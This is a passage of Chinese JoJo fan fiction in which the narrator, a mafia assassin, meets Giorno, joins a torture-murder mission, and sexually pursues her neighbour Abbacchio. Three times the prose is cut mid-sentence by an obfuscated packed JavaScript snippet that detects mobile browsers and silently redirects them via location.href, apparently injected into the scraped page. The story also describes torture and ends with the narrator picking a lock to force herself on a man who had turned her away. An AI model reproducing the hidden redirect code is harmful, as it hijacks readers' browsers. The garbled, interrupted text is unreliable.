还是个混血儿!混的那一半还是日本的。 我看着那个坐在新家餐厅里小口吃布丁的男孩,感觉自己被背叛了,呜咽着扑向直子:“直子!你是因为他才忘记我的吗?” “你都多大了还撒娇。他只是在附近读书的一个小孩,我们请他吃几顿饭而已。” 直子毫不留情地推开我,把我拉到厨房,小声说,“那孩子家庭情况很复杂,他离家出走了,现在是自己养活自己……他是个好孩子,我不想他走入歧途,所以我和阳莱就多照顾他点了。” “拿着,去和那孩子分享点。”直子说着递给我一盘马卡龙,看模样像是她自己做的。 她不是说她不擅长做甜点的嘛! 我承认我有点吃醋了,但我还是端着那盘直子精心制作的马卡龙,坐到了那个黑发小孩的对面,把盘子往前一推:“和我一起吃吧,你叫什么名字?” 他抬起头,一双漂亮得跟玉石一样的碧绿色眼睛望向我:“我叫乔鲁诺.乔巴纳,小姐。” 这双绿眼睛,好眼熟啊……我好像在哪见过他,等等! 我猛地拍桌而起,弯下腰指着他低声嘶嘶着:“是你,那个小偷!” 他很无辜地歪了歪头,像只猫咪:“抱歉,小姐,我没听懂你在说什么。” 他长得很美,是标准的美少年。但这不重要,他才十三岁,长得再漂亮我也不能泡。重要的是…… 这小子不就是我刚到意大利的时候,趁我没有空闲的手就来偷我钱包的毛贼吗?!这双跟猫咪一样狡黠的绿眼睛,我绝对不会认错! 就是这小子,可恶啊! 冤家路窄。他还跟我装蒜!装啥呢,我一看就知道他刚刚肯定认出我了。啊对对,我就是那个特别蠢地被你偷东西的可怜蛋。 我气得后槽牙都要咬碎了,但还是得在阳莱走过来的时候,马上露出八颗牙齿的标准笑容。 阳莱摸了摸那个可恶的乔鲁诺.乔巴纳的头,拉开凳子,坐了下去:“你们已经认识了吧?” 可恶的乔鲁诺侧过头,眼尾微微向下,嘴角扬起一个微不可察的弧度,这使他看上去更像只猫咪了:“没有,女士,我还不知道她的名字。” 他的音色有些绵软,语调也透着软萌的气息……嗯,很明显,他在装。 我滴妈呀,这小子太会装萌了吧。 甘拜下风。 盯着阳莱探究的目光,我脸上笑眯眯,实则桌下的大腿肉都要被掐青了:“哦呵呵,我叫蕾娜塔。” 虽然这个混蛋偷了我的钱包,但我看得出来,阳莱和直子因为帮助了一个可怜小孩而很开心,我不想扫她们的兴。 何况这家伙真的有点可爱! 虽然他是装的,但是他真的很可爱!谁懂啊。 阳莱狐疑地看了我一眼,恍然大悟,不知道她到底悟了什么:“蕾娜塔,真的很抱歉。我最近真的太忙了,才忘告诉你我们来意大利这事。而且你最近白天电话总是忙线……” “哦,因为我最近是按着日本那边的作息生活的。” “你又熬夜画画了,这可不好,你会猝死的。” 其实不是因为画画才熬夜,虽然有一点这方面的原因。但大部分都是因为我在干黑手党的勾当。想到这,我感觉我的头都大了。 我之所以想都没想就决定加入热情,是因为我有自保的能力,而且跟我熟识的大部分人都在日本,杜王町又有仗助,亿泰等一群替身使者在……无论我在热情做了什么,都无法打击报复到阳莱和直子头上。 可她们现在来了意大利,我又没办法时时刻刻呆在她们身旁保护她们。万一我在暗杀组做的那些勾当一不小心牵连了她们怎么办。 我揉了揉眉心:“阳莱,你们不需要为了我专门来意大利的。” “安啦,你平时就住你租的房子那,我们不会管着你的,我俩还要去欧洲别的国家玩玩呢。”直子从厨房走出来,坐到了我旁边,“我俩来意大利又不只是为了你哦。不过你想吃点啥可以给我们发消息,让我俩给你准备一下。” 她说着拿起了盘里的马卡龙塞在我嘴里:“怎么样,好吃吧。” “美味至极。”我竖起大拇指。 在我吃甜点时,他们三一直在聊天,说了些什么话题,我一个没听。而乔鲁诺一直都挂着一张得体却带着点疏离的微笑,看起来他对阳莱和直子的热情有些适应无能啊。 就当我准备顺势说出“我今晚住这”时,电话突然响了,是我专门拿来和黑手党联系的那部电话,看这个号码……额是里苏特吧。 我看了眼正在热聊的三人,转身去了后花园:“里苏特队长,有什么事吗?” “我是普罗修特,你不在家?” “哦。”我透过窗户盯着房内热聊的三人,确定没人在关注我这边后,继续说:“你要干嘛。” “今天是分钱的日子,你好像不知道吧,我把你那份带过来了。你现在在哪?” “外面采购。”我看了看手表,想了想阳莱开车过来的时长,“我大概一个小时后就回来。你急的话,把钱装信封放我门口就行。” “我不急,你慢慢来。我在你家楼下咖啡店等你。” “行。下次你来找我记得提前打电话。” 他没回我,直接挂断了电话。 我一进到屋内,直子就问我:“和你对象打电话?” “我同事,他让去帮他点忙。” “你生活费够用吧。” “够啦,我只是想找点事来干,顺便拓展下交际圈。” 我说着提起之前在杂粮店采买的东西:“那我先走啦,之后再来看望你们。” “哦,你不用太急,我俩下个月要去佛罗伦萨旅行。”直子在我羡慕的眼神下得意地笑了。 阳莱看了看乔鲁诺,说:“乔鲁诺的学校也在你学校附近,蕾娜塔你送送他吧。” 今天周六,他还要住学校? 我刚刚差点就这么脱口而出了,但猛地想到直子跟我说乔鲁诺家里有点情况这事,立刻闭上了嘴。 “……好。”在阳莱亮晶晶的眼睛里,我想不出合适的理由拒绝。 “你要记得按时吃饭,好好睡觉,照顾好自己的身体。不要因为做不来饭就每天随便应付……” “我知道了啦,我也有在学煮面的!” 我说着推开了门,跟阳莱和直子挥了挥手告别。 乔鲁诺也跟了过来,他回头看了看阳莱和直子住的小洋房,呢喃:“您拥有一个让人艳羡的家庭氛围呢。” “你在和我说话?”我看向目前比我还要矮一点的美少年,皱眉:“喂,我说……你不会以为,你偷我钱包的事情就这样过了吧。” 他池水般清澈的碧眼中倒映着不解,如鸦羽般乌黑的发丝微微扫过他的上睫毛,长而密的睫毛像蝴蝶的翅膀般扑闪扑闪着,好像真的没听懂我的话是什么意思。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15233718|165982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个美少年有着一口果冻似的唇,肤如凝脂,面如冠玉。虽然他还没有完全长开,但依然可以窥见那如雕塑般俊美的五官的雏形…… 他漂亮极了。如果他拥有一头金发,那我都觉得他可以去出演《魂断威尼斯》里的美少年了。 太美了,虽然这份美尚未成熟,却已经足够诱人了。我忍不住移开视线。 在路边招呼到一辆车后,我坐上了副驾驶座,见他不动,我探出头招呼:“你不上车?” 他那双绿眼睛闪过一丝错愕,眼神看上去有些犹豫,但动作上却没有丝毫停顿,直接拉开后座的门坐了上去。 上车后,他才解释:“我以为你的意思是不想和我交好,希望我和你保持距离的意思。” ……我是那种和小孩子置气的人吗,何况那个钱包也没有什么贵重的东西。我只是稍微有点不爽而已。 我没直接回应他这句话,只是说:“时间不早了,如果你一个人回去会很危险。” 他点头感谢我,看上去顺眼了不少。 “如果你平时有需要可以直接来我家找我,或者给我打电话。不用跟我客气。”我给他撕了张纸,在上面写了我的住址和电话号码。 没办法,谁叫我是靠谱善良的成年人呢。 他没有推脱,接过了那张纸条:“多谢。” 过了一会,他突然从包里掏出了张相片:“这是你钱包里的照片。” ……哦,是空条承太郎给的那张有我父亲的合照,我放进钱包后就忘拿出来了。 我刚想说“你随便处理掉吧”,就听到乔鲁诺说:“这是你的父亲吗。” “可能是吧。”我耸耸肩,“不过他早死了,是不是也没有关系了。” “那看来我留下这张相片是个正确的决定。”说完,他直接把相片塞给了我。 既然如此,那还是留着吧。 * 车到我家楼下后,我嘱托司机送乔鲁诺去他学校,并付了车费。然后我就径直朝着咖啡馆走去,普罗修特坐在外面,他面前的桌子只有一杯意式咖啡,还放着份报纸。 他看向我:“车里的那个人是谁?” “拼车的。”我拉开凳子坐了下来,并且婉拒了服务员递给我的菜单,“把钱给我吧。” 他挑挑眉:“你不表示点什么吗?我可是专门来给你送东西的。” “就算你不送,里苏特也会帮我留着吧。”我说着直接从他手里拿过信封,打开数了数钱,“哇,还不错。” 普罗修特站起身说:“请我去楼上坐坐吧。” 我跟着他站起来:“不,太晚了。你回去吧,下次我请你吃饭。” 普罗修特低下头看着我,一双蓝色眼睛雾蒙蒙的,让人看不出他在想什么。他张了张嘴:“如果——” “蕾娜塔。” 一道熟悉的声音打断了普罗修特的话,我朝声音来源处望去:“哟,阿帕基。” 等等,这家伙怎么还穿着警服!我立刻看向身后的普罗修特。 果然,他很不怀好意地眯起眼睛了。 他不会在想什么不好的事情吧!不要啊,我邻居只是个普通的小警察,不要欺负他啊。 我立刻伸出手在他后腰处掐了一把,带着警告意味地瞪了他一眼。 普罗修特微微侧过头,伸手抓住放在他腰后的我的手,把我的手腕包裹在他的掌心中,低声说:“放心,我不会看谁不爽就想干掉谁的。” 你觉得这话有可信度吗,我可是跟你一起出过任务的! 阿帕基完全看不懂我的眼神暗示,径直走过来,冷艳凌厉的灰紫色眼睛在我和普罗修特中间打转,他抿了抿涂着深紫色彩妆的嘴唇,盯着我:“你男朋友?” “不是。”我立刻甩开普罗修特的手,咬牙:“他是我同事。” 普罗修特把手放在我肩膀上,微微抬起下巴,眯起眼睛,像一只正在炫耀自己羽毛的孔雀:“我是她朋友,普罗修特。” 18. 恋爱咨询专家 老实说,普罗修特那点小心思我是看得出来的。 倒不如说看不出来就太奇怪了吧! 快要入睡的时间,喷了香水,收拾得人模人样,时不时还来点肢体接触暗示一下,雾蓝色的眼睛跟快要拉丝了一样,表明想要去我家里坐坐…… 要素齐全,就差没直接掏出他那玩意跟我问好了! 如果是其它人我可能还会犹豫一下他有没有这个心思,然后再装傻推倒他。但这可是普罗修特,他看上去就是那种有一堆风流债的男人,恐怕都不用我动手,他自己就会来推倒我。 我敢拿仗助未来十年的零花钱发誓,他绝对有那个心思! 在阿帕基没来之前,我需要面对的只有一个问题,就是他到底干不干净。我没有特别的感情或身体上的洁癖,不要求对方身心只有我一个。毕竟这是约炮啊,约炮还搞纯爱,疯了吧!可我无法接受脏的人。没有全套体检报告,我连啵嘴都不会同意的。 但阿帕基来了之后,我就面临一个更严峻的问题了。 保哪个呢。 是保嘴边的肉,还是锅里的肉,还是两个都要。 可不可以两个都要啊! 不对,这不是我想不想的问题。 我邻居看上去不像是能接受炮友的类型,更不可能接受我同时搞几个人吧。虽然他好像对我有点意思,但应该还没到愿意为我放弃准则的地步。而且从这几次聊天中可以看出他就是个很传统的正常人…… 普通男人是绝对无法接受女人多情的。好像贞操和矢志不渝就是女人与生俱来的一样,不过他们对自己的要求倒是不高。 唉,真贱啊。 不知道我邻居是不是这种贱货……算了,别细究了,万一开出惊喜盒了呢,那我不就萎了吗? 不过我也不多情,我只是好色而已,我一点感情也没有。 唉?好像更糟糕了。 哈哈,不管啦。我玩的开心就好。 在普罗修特和阿帕基攀谈时,我一句也没听,目光一直黏在我邻居优越的身段上,那质感极好的皮带紧着他的细腰,衬衫的每颗扣子都扣得严严实实的,完全不像普罗修特那样敞开领口,却有着一种极为强烈的制服诱惑。 一想到他是一名警察,还是那种很有责任和担当的好警察,我就觉得更带感了。不知道他家里会不会有手铐,我想玩玩…… 没有过多思考,我立刻选择了保阿帕基,马上跟普罗修特挥挥手说再见。 在被我推上出租车时,普罗修特震惊地看着我,眼神中带着点幽怨和愤怒,他看上去要被我气死了。 生什么气啊,生气有用吗?不管他有多愤怒,也不可能干掉我,那么他的生气就是无用的行为。 我握紧普罗修特的双手,努力学乔鲁诺那样睁大眼睛,显得自己很无辜:“谢谢你,普罗修特大哥,你能来给我送东西我真的很开心,我就知道你对我最好了!” 说完,我扑过去紧紧地抱住普罗修特,确定这个角度阿帕基看不见后,在他的脖子上亲了一口,悄声说:“普罗,你闻起来香香的。下次把你的沐浴露和香水推荐给我吧。” 不给他反应的时间,我迅速拉开距离,关上门,朝他挥挥手:“再见!” 车子发动后,他探出头说了几句什么,但车的声音盖住了他的声音,没人能听清。 不过应该不重要吧。 我转身看向阿帕基:“你怎么周六还要上班?我总感觉好久都没看到你了。” “我才转正没多久,忙点很正常。”他脱下了帽子,帽下留着银色寸头,如果他留长发一定会更好看,像银色瀑布一样。 他又说了几句话,我假装认真听他讲,实际上一直盯着他饱满的胸前和一张一合的紫唇,一个字也没听见。 他一直动个不停的嘴巴真性感,不知道他的唇膏掉色严不严重。 他突然停住了脚步,带着审视的眼神看我:“刚刚那个男人,你和他很熟吗?” ……什么时候聊到这个话题了。该死,我没听讲。 我老实回答:“一般。” 和暗杀组其它人相比,梅洛尼和我关系最好。虽然梅洛尼脑子不太正常,三观也很扭曲,我总感觉要是他能够打过我,他一定会干点不好的事情,但抛开他是个疯子这点,并且忽略掉我的所有道德和三观而言,他人也还可以。 阿帕基显然不相信,他凑近过来,眯起眼睛,像是在观察我有没有说谎:“你刚刚的一连串动作不像是会对不熟的人做的事。” ……管得真多,关你什么事。 “我俩是关系一般,不是不熟啊!”我反驳,“怎么,你很在意我和他的关系?” 他被我问住了,猛地往后退。我当然不会放过这个大好时机,往前步步紧逼。 我一靠近他,便闻到一股淡淡的烟草味。不知道是他抽了烟,还是染上别人的烟味。 现在我们的距离很近,近到我能够敏锐捕捉到他的心跳声,近到他的眼里只有我一个人。 那双灰紫色的眼睛在夜晚变得更加漂亮了。我注视着那片灰紫色,忍不住抬起手…… 阿帕基立刻往后退了一步,微微低下头看着离他只有几厘米远的我:“你吃饭了吗?” “嗯?”我愣住了,没有继续靠近他。 他在干嘛? 正常情况下,不是应该开始接吻了吗。我给的气氛还不够? 他侧过头避开我的目光:“我在买了份披萨。你要吃点吗?” 啊,是因为在外面不好意思,所以才要邀请我去他家里继续吗,真是可爱啊。 我当然同意了:“好啊。” * 我草你大爷的阿帕基。 他竟然什么也没做?!什么也没有? 我去他家前我都做好准备要和他进行酣畅淋漓的床上运动了,还特别去换了件前扣式蕾丝内衣。结果这个傻逼竟然连嘴都不给我亲一口? 甚至在我主动流露想要亲他一口的意图时,他还给我躲过去了?他是不行还是阳.痿? 他端的什么人设啊?纯情傲娇处男人设吗。 我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15233719|165982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 服了,兄弟。 ……你是真把我当兄弟了。 当梅洛尼教导娃娃脸去把隔壁桌的橙汁换成尿液时,我还是忍不住吐槽:“我不明白。电影看了,饭吃了,游乐园也去玩了,话也说的很多了……正规流程差不多都走了,他怎么就连嘴都不给我亲?” 梅洛尼往嘴里塞了把不知道从哪顺过来的鸟食,吐了吐舌头,敷衍我:“鸟食真难吃,真不知道这次的娃娃脸为什么爱吃这个。” “喂,梅洛尼,我在咨询你。你不能听我说话吗?” 正在一旁沉默吃饭的加丘翻了下白眼:“咨询他恋爱问题?疯婆娘。” “不然咨询你?”我打量着加丘蓝色的卷发,讥讽道:“梅洛尼至少还了解点女人吧,你除了我还有你妈,你认识几个女的啊。” “哈?你瞧不起我?!!!” 加丘立刻把叉子往我眼球扔过来,我马上叫出约旦河掰断叉子并打了个结,加丘的白色相薄也立刻出来想要冻住我的脚—— “好了,你们两个。”梅洛尼比了个暂停的手势,“要是让里苏特知道你俩在外出行动中打了起来,那就完了。” “啧。”加丘一脸不爽地坐了下去。 我耸耸肩,把拧着麻花的叉子放到了加丘的空盘里:“抱歉,我最近很烦。” “没普罗修特烦,”梅洛尼发出了奇怪的笑声,“本来这次任务是我,你还有普罗修特去的,普罗修特一听到有你在,立刻翻脸说不去了。” “哦,但我不会道歉的,反正他迟早会原谅我。要是他下定决心一辈子都不理我,那就不理吧。我不喜欢气量小的男人。” “就是这样!”梅洛尼打了个响指,“甜心,你在乎那个谁的想法干什么,你想要得到他,直接把他绑了,再关起来不就行了?我们据点的地下室是个好地方,没人能找得到他。然后你就可以一辈子拥有这个宠物了。” 在加丘“喂,地下室不是拿来做这种事”的嘈杂的背景音下,我认真思考了一下梅洛尼的提议。 然后否决:“不了。虽然好像这样他就可以乖点了,也不会做出任何让我不满的事情,但果然那很没意思……” 梅洛尼眯起眼睛,在我身上打转,然后又问:“你不觉得这样就可以看到他最绝望痛苦的一面吗,那不是应该更容易激发你的x欲吗?” 虽然说仔细想想确实有点让人欲罢不能吧,但是我不想走这种暗黑向十八禁的剧情啊。这又不是游戏,要是真的走了我可没有任何挽回的机会! 我扶额:“梅洛尼,那样他就会坏掉了。换个持久点的方式。” “我可以帮你泡福尔马林,而且我以前读书的时候解剖课是满分哦。” “……他死了,我怎么和他做?我没有恋尸癖。” 梅洛尼认真思考了一下:“你可以和我做,再把他的标本瓶放在前面看着,假装是和他在做。” “……” 我到底有多想不开才找这家伙做恋爱咨询。 算了,还是专心做这个暗杀银行行长的任务吧。 19. 葡萄味果冻 这次的任务目标——一个住在罗马的小银行行长,不知道他到底招惹了谁,总之那个人一定是恨透了他。 否则金主也不会特别提出要求:必须要让这个男人在恐惧中凄惨地死去。 执行的人当然不是我,我不喜欢折磨人。也不是加丘,加丘和我一样,我们都喜欢快点噶了对方。 为那个男人带来恐惧,并为之感到兴奋的人是梅洛尼,我和加丘只是确保任务顺利进行完毕,保证不要留下作案罪证而已。 加丘提着相机,开始准备拍摄梅洛尼折磨这个男人的过程。这是金主要求的,所以加丘再不情愿也只能骂骂咧咧地摆弄那台他新买的相机。 我看不下去了,走过去帮他。 加丘看着我熟练地架好支架,调试镜头参数,皱眉问:“你经常用相机?” “嗯。” “那你不早说!我就不用买这台破相机了,靠,还花了老子不少钱!” 我调整好后转头说:“我是不会把我的相机借给你们拍摄这些的。” 加丘嘀咕了一连串意大利脏话。我一个字也没听,他就做他的机关枪吧,呵呵。我要去外面透风了。 当我在窗台俯瞰罗马城时,屋内断断续续传来了那个男人的哀求声,痛哭声,惨叫声,还有梅洛尼的高昂的笑声和赞叹…… 我忍不住回头,关上了玻璃门。 加丘在这时突然出现在我身后:“你在同情那家伙吗?” “你吓我一大跳。”我看了看玻璃门内的惨不忍睹的情景,“我是不希望有人发现我们的行动,倒是你……你为什么不在那里继续拍摄?” 加丘凝视着我,反光的镜片掩盖下的眼睛似乎想要看穿我内心的最真实的想法,他冷哼了一声:“替身是精神能量的体现,所以很多时候替身能够反映一些人的内心本质……你的替身所拥有的传送能力是你什么愿望的投影?” “……话也不能这么说,你的替身还是玩冰的呢,难道你是冰山酷哥啊?” 加丘“哈”了一声,像一只突然竖起毛发的橘猫:“啧,我是看你和我们相处了快两个月,特别警告你,暗杀可不是光有强大的能力就能完成的,还需要觉悟!而你——” “你怎么知道我的觉悟不比你们强大?少自以为是地来揣测我的想法了。”我打断他的施法,“到此为止,加丘。” 加丘肯定不愿意,他阴沉沉地看着我:“你知道为什么贝利可罗要派你来我们小组吗?” “……为什么呢。”其实我一点也不好奇原因,但就算我不问,这家伙也会不管我的意愿说完吧。 “我们小队以前还有两名成员,他们因为打探老板的消息而被非常残忍地杀害了。一个被活生生地切成了一块块,一个受不了折磨自己吞下了抹布窒息而死……你看到梅洛尼折磨那个男人的手段了吧,热情对待叛徒的手段比他要残忍得多。”加丘说着一步步走过来,紧逼着我。 他瞪圆的双眼和紧缩的瞳孔,还有苍白的嘴唇都彰显了他此刻的精神状态异常紧绷,他身上寒气逼人。我推了推他,让他别靠我这么近,挑挑眉:“我感到很难过。但我不打算背叛组织,所以我不会受到惩罚。” “你根本不明白!”他开始暴躁地揉着他的一头卷发,低声嘶吼着:“我们小队目前的所有任务都不是老板给我们的,是从别处接到的!因为老板已经不信任我们了,因为杰拉德和索尔贝的事情,我们……” 他异常神经质地来回踱着步子,非常暴躁语序混乱地说了些什么……但我只注意到,他们的前队友原来叫杰拉德和索尔贝。 一个被活生生切片,一个因为受不了折磨选择自己吞下抹布吗。我试图想象一下当时的画面,不由得打了个冷颤。 仅仅只是因为打探老板的消息就要受到这样的惩罚,这个老板到底有多么不可见人,嘶我果然无法理解这种天生的反社会人格。 但大家越是告诫我打探老板的消息会遭到多么可怕的惩罚,我就越想去打探消息。 哦,天哪,这是潘多拉的魔盒。 我摆摆手:“加丘,我很感谢你。你可能是担心我被你们牵连,但我并不觉得你们还会背叛老板,也不觉得我和你们待在一起会有风险,总之……事已至此,无需再提了。” 我希望他能够明白我的暗示,别再说了。万一那个神经质老板听到了现在就来噶了我们怎么办! 加丘愤怒地摔门离开,只留了一句:“你根本没理解事情的严重性!” 真不知道这小子为什么那么排斥我。明明我是否适合黑手党也和他无关。 暗杀组内除了他,还有另外两个人也不希望留在他们组内。 老实说,如果是往常我可能就会让这群不识相的人滚蛋,但这两个月和这群长期使用替身战斗的人相处,我感觉我的替身能力也得到了不小的增进。 根据我这段时间的观察,暗杀组内喜欢折磨人的是梅洛尼,霍尔马吉欧。这或许也是里苏特坚持让我和梅洛尼捆绑在一起做任务吧,他想让我知难而退。 虽然不知道为什么里苏特对我那么排斥,但如果他以为一个疯子就足够改变我的决心,那他就错了。 我根本不在乎他们有多疯,反正在我拿到箭后大家就可以说再见了。 嘶,但我加入黑手党后,完全没去找过箭的下落啊,好像我一直在到处乱玩……额,事已至此先玩着吧。反正我一时半会也没听到谁提起那把箭。 结束之后,梅洛尼心满意足地伸了个懒腰,有种饱餐了一顿般的惬意,愉悦地说:“走吧,我们去吃点午饭。” 我看了看窗内那个肚子有着不明鼓起的尸体,跟上了加丘的脚步:“我想喝点奶油蘑菇汤。” * 我们在罗马城待了两天后就回那不勒斯了。第一天杀人,第二天公费吃吃喝喝。 虽然第三天回去的时候,加丘毫不留情地把我和梅洛尼用公费玩耍的事情告诉了里苏特,我俩因此被罚款还被狠狠教训了一顿……不过问题不大,总之这次任务我也非常优秀地完成了。 比较让我奇怪的是,梅洛尼在这段时间没有尝试对我使用娃娃脸,这让我觉得有些反常。 不过这群家伙异常的地方挺多的。我操心个屁。 “蕾娜塔?好久不见。” ……是阿帕基,为什么我们总在楼道偶遇啊。我好不容易请到的假期只剩最后一天了,我才不要浪费时间在你这个连嘴都不给我亲的小气鬼身上。 话虽如此,我还是露出了标准的八颗牙齿微笑,朝他挥了挥手吧:“我兼职的地方团建呢。” 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15233720|165982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 若有所思地看了我一眼,然后说:“吃饭了吗?” 联想到上次我自作多情,然后迎来了大失败,我的笑容有些僵硬:“没吃呢。” 我本来不想给这个完全无法理解我的魅力的男人好脸色看的,但看到他手里提着的菜篮,我又觉得算了。 何必要和美食过不去。 果然,阿帕基邀请我去他家一起吃饭了。 细数下来我俩都一起吃过十多顿饭了,你倒是给我吃吃你的嘴子啊。 不过这还是我第一次吃阿帕基亲手做的正餐,他之前送给过我他烤的曲奇,虽然卖相很丑,但味道还可以。不知道他做饭水平怎么样呢? 我坐在客厅里假装看电视,实际上一直在偷偷观察厨房里正在做料理的他。 阿帕基脱下了厚重的制服外套,只穿着里面的单件衬衫。他解开了领口和袖口的两三颗扣子,挽起的袖子极好地展示了他精壮有力的小臂,臂膀肌肉线条分明而性感,让人看了忍不住想要亲一口。 他用他那双骨节分明的手取下了围裙,背过手系好围裙的带子。但是他系得不是很好,有些太紧了,围裙的带子几乎是紧紧贴在他的腰线身上,有些碍着他的行动。 他皱了皱眉,好看的灰紫色眼睛闪过一丝烦闷。他无奈地叹口气,准备背过手去重新系一次。 “阿帕基。”当我反应过来时,我已经站在了厨房门口,我吞了吞口水,“我来帮你吧。” 他抬起眼帘看向我,用他那双比品相极好的紫水晶还要漂亮的眼睛看着我:“好。” 阿帕基正准备背过身去,我一把拉过他。一只手握在他的腰上,一只手顺着他的小臂一路往上,攀附上他的脖子,按下他漂亮的小脑袋。我踮起脚尖,轻轻在他的嘴角啄了一口:“你的眼睛好美。” 阿帕基深吸了一口气,那双灰紫色的眼睛失焦了一瞬,紧接着,他一把揽过我的腰,与我刚刚紧抓着他发丝的手十指相扣,把我拉近他,俯下身子低头吻了上来。 他好像不太擅长接吻,只知道轻轻啃咬我的嘴唇肉,我想要提醒他张嘴,他却以为我想离开,越发用力地亲吻着我。 我不得不捏住他的下颚,和他的唇短暂分开一会,他睁开迷离的双眼,有些不满,我轻声提醒他:“雷欧,张嘴。”然后再次吻了过去。 他很识趣地打开了紧闭的牙关,于是我乘胜追击,肆意在他的口腔内掠夺。耳边的喘气声变重了,他松开刚刚和我十指相扣的手,紧紧扣着我的背和腰,我也顺势把手缠绕在他的肩膀和脖子上。 真美味啊,像是在吸溜一个美味的葡萄果冻一样。 梅洛尼说得对,我果然就应该直接上手。管什么循序渐进啊,先吃了再说! 我的前胸紧贴着他的胸腔,传来了一阵阵有力的心脏跳动的声音,“咚、咚、咚”,还有他的不规律的粗重的呼吸声,以及我们唇舌缠绕的轻微的水声。 他好像不太会换气,眼神已经开始涣散了。我恋恋不舍地和他的嘴分开,顺着他的下巴一路亲到他的脖子上,留下了紫色的唇印。 当我想解开他的扣子继续吸时,突然一阵滴滴声响起了。 阿帕基猛地回过神,声音有点沙哑:“烤箱。” ……靠,为什么每次都有各种各样的东西来坏气氛。 20. 纯情警茶火辣辣 在阿帕基解决完“烤箱的小问题”后,他再次握住我的腰,俯身热吻起来。这一次他的吻技要比之前好多了,我开始感觉我被亲的有些晕乎乎的。 当我喉咙发出舒服的闷哼声时,他慢慢收回了刚刚和我纠缠的舌头,轻轻咬了咬我的唇瓣,另一只手抚摸上我的后脑勺,在我的眼皮上留下了细密的吻,呢喃着一些含糊不清的话语,大概是情话吧,意大利人真爱说情话,可惜我更喜欢实操。 然后,他又再次把他的唇贴上了我的,高大的身子也慢慢压在我的身上,亲着亲着,他的头开始慢慢往下滑…… 我被压得有些紧了,腿有点麻,正准备抬抬腿,换个更舒服的姿势,却突然碰到了什么硬物。 等等,我的膝盖碰到了什么……嗯? 我顺势看向他的裆部。 好耶,他不是阳.痿男! 我笑出声了。阿帕基跟触电似的往后推了几步,像是要和我划清距离,他看着我嘴上和脸上脖子留下的紫色唇印,竟然难得地生出了些许不好意思。 我正准备调笑他几句,他却说:“你今天先回去吧。抱歉,我现在……嗯可能做不了饭。” ?哥们你在干嘛?你都成那样了,你还想着做饭?! 你是要准备去参演下一季忍者神人,还是你的晋江太过特殊见不得人?不会吧不会吧,玩我呢? 我死死地盯着他,如果眼神可以化成一把把锋利的刀,那阿帕基现在肯定会被我刀成几片。 在我无声的控诉下,他心虚地移开目光,用力握住我的手腕,拉着我一路到玄关。 他竟然还准备赶我走? 赶,我,走?! 这男的有病吧! 我差点就要开骂了。但是不行,不行。今天搞不到他,那不就是在侧面说明我的魅力不足吗?不行!这种事情我绝对不允许! 在他把我拉到门口时,他神色晦暗不明:“抱歉,我下次再请你吃饭吧。” 饭饭饭。我在你眼里是个饭桶吗?好吧,我确实爱吃饭,但一码归一码……今天搞不到你就没有下次了。我心里这么想,面上却说:“阿帕基,我——” 然后他猛地关上了门。 我猛吸一口气,努力让自己平复心中的怒火。别生气了,对乳腺不好,对乳腺不好。 首先分析一下情况。虽然是我先主动亲的,但是后面他亲的比我投入多了,而且他还起生理反应了,这说明什么,说明他也是有感觉的啊! ……我脑子被虹村亿泰传染了吗,我在说什么废话。 但他到底为什么不拉着我开始进行激烈的身体交互运动啊?我今天穿的还是浅蓝色的缎面法式内衣唉,错过了今天就没下次了啊! 为什么啊。 到底为什么啊?我难道没什么魅力吗?我难道一点吸引力也没有吗? 为什么啊啊啊啊!!! 就在我马上要陷入对自己的魅力的怀疑时,我猛地清醒过来。 不对,我为什么要怀疑自己。呵,怎么想都应该是雷欧.阿帕基的问题。 于是我开始猛敲门,但我敲了十秒钟也没人来开门。 我有些不知道该怎么做了,决定打电话给我的恋爱咨询专家:“梅洛尼,现在我的睡邻居大计出现了严重的挫折。” 我跟梅洛尼仔细描述了刚刚的情况,梅洛尼很无语地说:“他不给你开门,你就直接撬门进去,硬把他上了啊。” “……但他是警察。” “那我们还是黑手党呢。” 我深吸一口气:“梅洛尼,你的建议果然都很好用。好了,我要撬门了。” “唉?!等等,你别挂电话,让我听听——” 死变态。我立刻挂断了电话。 撬门这招还是霍尔马吉欧教我的。虽然大部分时候我都是撬伊鲁索的门,没别的原因,纯粹想犯一下贱,看伊鲁索气急了也不敢打我,打了还打不过的样子很好玩。 但现在……哇,我竟然沦落到要撬打炮对象的门的地步了。 我进去之后没有看到阿帕基,但我听到了浴室穿来哗啦啦的水声。 我站在浴室门外,听着水流声还有他的微微喘气声,心里有些发笑,这个死男人竟然宁愿做手工作业单打独斗,也不愿意合作共赢。 我把手放在门把手上。 果然,他没锁门。 